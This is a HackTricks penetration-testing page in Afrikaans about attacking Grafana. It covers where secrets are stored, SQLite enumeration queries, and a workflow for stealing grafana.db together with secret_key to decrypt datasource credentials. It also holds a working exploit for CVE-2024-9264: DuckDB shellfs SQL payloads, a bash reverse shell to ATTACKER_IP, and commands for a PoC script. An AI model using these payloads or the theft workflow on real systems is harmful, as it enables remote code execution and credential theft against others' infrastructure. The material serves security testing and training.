Grafana

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Interessante dinge

  • Hoofkonfigurasielêer is gewoonlik in /etc/grafana/grafana.ini (Deb/RPM) en kan sensitiewe waardes bevat soos admin_user, admin_password, secret_key, OAuth-instellings, SMTP creds, en renderer tokens.
  • Standaard stoor Grafana data in SQLite3 onder /var/lib/grafana/grafana.db.
  • Provisioning-lêers is baie interessant na toegang tot die gasheer:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Omgewingsveranderlike-uitbreiding word deur provisioning-lêers ondersteun, so leaked YAML openbaar dikwels beide geheime en die omgewingsvariabele-name wat dit ondersteun.
  • Geïnstalleerde plugins word gewoonlik gevind onder /var/lib/grafana/plugins.
  • Binne die platform kan jy, afhangend van jou rol, mense uitnooi, API-sleutels / service account tokens genereer, plugins lys, of nuwe plugins installeer.
  • Die blaaier is ook loot: Grafana openbaar nie-geheime datasource-konfigurasie na die frontend. As jy ’n Viewer sessie het (of anonymous access aangeskakel is), inspekteer window.grafanaBootData vanuit DevTools.

Nuttige SQLite-checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Onttrekking van datasources en geheime

Grafana skei blaaier-lesbare konfigurasie van enkripteerde geheime:

  • jsonData is sigbaar vir gebruikers in die blaaier en is dikwels genoeg om interne hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, en soortgelyke recon data op te som.
  • secureJsonData word serverkant geënkripteer en is nie meer vanuit die blaaier leesbaar nadat die datasource gestoor is nie.

Post-exploitation workflow:

  1. Maak ’n dump van grafana.ini en herstel secret_key.
  2. Haal grafana.db en provisioning-lêers in.
  3. Enumereer datasources en plugin-konfigurasie om herbruikbare credentials en interne endpoints te vind.
  4. As jy die databasis na ’n ander Grafana-instansie migreer of herlaai, behou dieselfde secret_key, anders sal gestoorde datasource-wagwoorde/tokens nie korrek ontsleutel nie.

Waarom secret_key saak maak in nuwer weergawes:

  • Sedert Grafana v9 gebruik databasisgeheime envelope encryption.
  • Grafana enkripteer geheime met data encryption keys (DEKs), en daardie DEKs word geënkripteer met ’n key encryption key (KEK) wat afgelei is van secret_key.
  • Vanuit ’n aanvaller se perspektief is grafana.db + secret_key die paar wat die moeite werd is om te steel.

Plugin attack surface

Behandel plugins as deel van die teiken, nie ’n voetnoot nie:

  • Enumereer dit vanaf die filesystem, vanaf die UI, of vanaf die API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Ouer of derdeparty-plugins brei gereeld Grafana se bereik in interne netwerke uit omdat hulle HTTP-versoeke proxy of met plaaslike lêers/databasisse interaksie het.
  • Onlangse voorbeelde sluit in SSRF in die Infinity plugin (< 3.4.1) en misbruikspaaie waar die Image Renderer plugin ’n ander fout in full-read SSRF omskep.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Grafana’s eksperimentele SQL Expressions-funksie kan DuckDB-vrae evalueer wat gebruiker-beheerde teks insluit. Onvoldoende sanitisering laat aanvallers toe om DuckDB-statemente te ketting en die community-uitbreiding shellfs te laai, wat shell-opdragte blootstel via virtuele lêers wat op pipes gebaseer is.

Impak

  • Enige geverifiseerde gebruiker met VIEWER of hoër kan kode-uitvoering as die Grafana OS-gebruiker bekom (dikwels grafana; soms root binne ’n kontainer) of plaaslike lêers lees.
  • Voorvereistes wat algemeen in werklike ontplooiings voorkom:
  • SQL Expressions enabled: expressions.enabled = true
  • duckdb binary present in PATH on the server

Vinnige kontroles

  • In die UI/API, blaai na Admin settings (Swagger: /swagger-ui, endpoint /api/admin/settings) om te bevestig:
  • expressions.enabled is true
  • Opsioneel: version, datasource types, and general hardening settings
  • Shell op gasheer: which duckdb moet oplos vir die eksploitasie-pad hieronder.

Handmatige navraagpatroon met DuckDB + shellfs

  • Misbruikvloei (2 navrae):
  1. Installeer en laai die shellfs-uitbreiding, voer ’n opdrag uit, herlei die gekombineerde uitset na ’n tydelike lêer via ’n pipe
  2. Lees die tydelike lêer terug met read_blob

Voorbeeld SQL Expressions payloads wat na DuckDB gestuur word:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Vervang CMD met jou gewenste opdrag. Vir file-read (LFI) kan jy eerder DuckDB file functions gebruik om plaaslike lêers te lees.

Eenreël reverse shell voorbeeld

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Voeg dit as CMD in die eerste query in terwyl jy ’n listener het: nc -lnvp 443.

Outomatiese PoC

Voorbeeld van gebruik

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

As die uitset uid=0(root) toon, hardloop Grafana as root (algemeen binne sommige containers).

2025 client-side traversal / open redirect chain

Die 2025 Grafana client-side traversal and open-redirect chain is reeds in meer generiese client-side bladsye gedokumenteer. Gebruik daardie tegnieke teen Grafana-spesifieke paadjies soos plugin assets, dashboard script loaders, en token-rotation redirects:

Client Side Path Traversal

Open Redirect

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks